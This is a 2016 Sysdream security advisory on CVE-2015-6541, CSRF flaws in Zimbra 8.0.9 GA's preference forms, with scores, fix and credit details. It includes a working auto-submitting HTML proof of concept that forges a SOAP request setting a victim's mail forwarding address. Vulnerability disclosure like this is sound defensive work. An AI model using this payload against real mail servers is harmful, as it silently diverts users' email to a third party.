Zimbra 8.0.9 GA Cross Site Request Forgery

2016.02.27
Credit: SYSDREAM
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

====================================== Multiple CSRF in Zimbra Mail interface ====================================== CVE-2015-6541 Description =========== Multiple CSRF vulnerabilities have been found in the Mail interface of Zimbra 8.0.9 GA Release, enabling to change account preferences like e-mail forwarding. CSRF ==== Forms in the preferences part of old releases of Zimbra are vulnerable to CSRF because of the lack of a CSRF token identifying a valid session. As a consequence, requests can be forged and played arbitrarily. **Access Vector**: remote **Security Risk**: low **Vulnerability**: CWE-352 **CVSS Base score**: 5.8 ---------------- Proof of Concept ---------------- <html> <body> <form enctype="text/plain" id="trololo" action="https://192.168.0.171/service/soap/BatchRequest" method="POST"> <input name='<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF38 (Win)" version="8.0.9_GA_6191"/><session xmlns="" id="19"/><account xmlns="" by="name">anto@mail.ubuntu.fr</account><format xmlns="" type="js"/></context></soap:Header><soap:Body><BatchRequest xmlns="urn:zimbra" onerror="stop"><ModifyPrefsRequest xmlns="urn:zimbraAccount" requestId="0"><pref xmlns="" name="zimbraPrefMailForwardingAddress">itworks@ubuntu.fr</pref></ModifyPrefsRequest><a xmlns="" n' value='"sn">itworks</a></BatchRequest></soap:Body></soap:Envelope>'/> </form> <script> document.forms[0].submit(); </script> </body> </html> Solution ======== Sensitive forms should be protected by a CSRF token. Fixes ===== Fixed with 8.5 release : bug 83547 (https://wiki.zimbra.com/wiki/Security/Collab/86#Notes_from_8.5) Affected versions ================= * Zimbra <= 8.0.9 GA Release Credits ======= * Anthony LAOU-HINE TSUEI, Sysdream (laouhine_anthony -at- hotmail -dot- fr) * Damien CAUQUIL, Sysdream (d.cauquil -at- sysdream -dot- com) -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream


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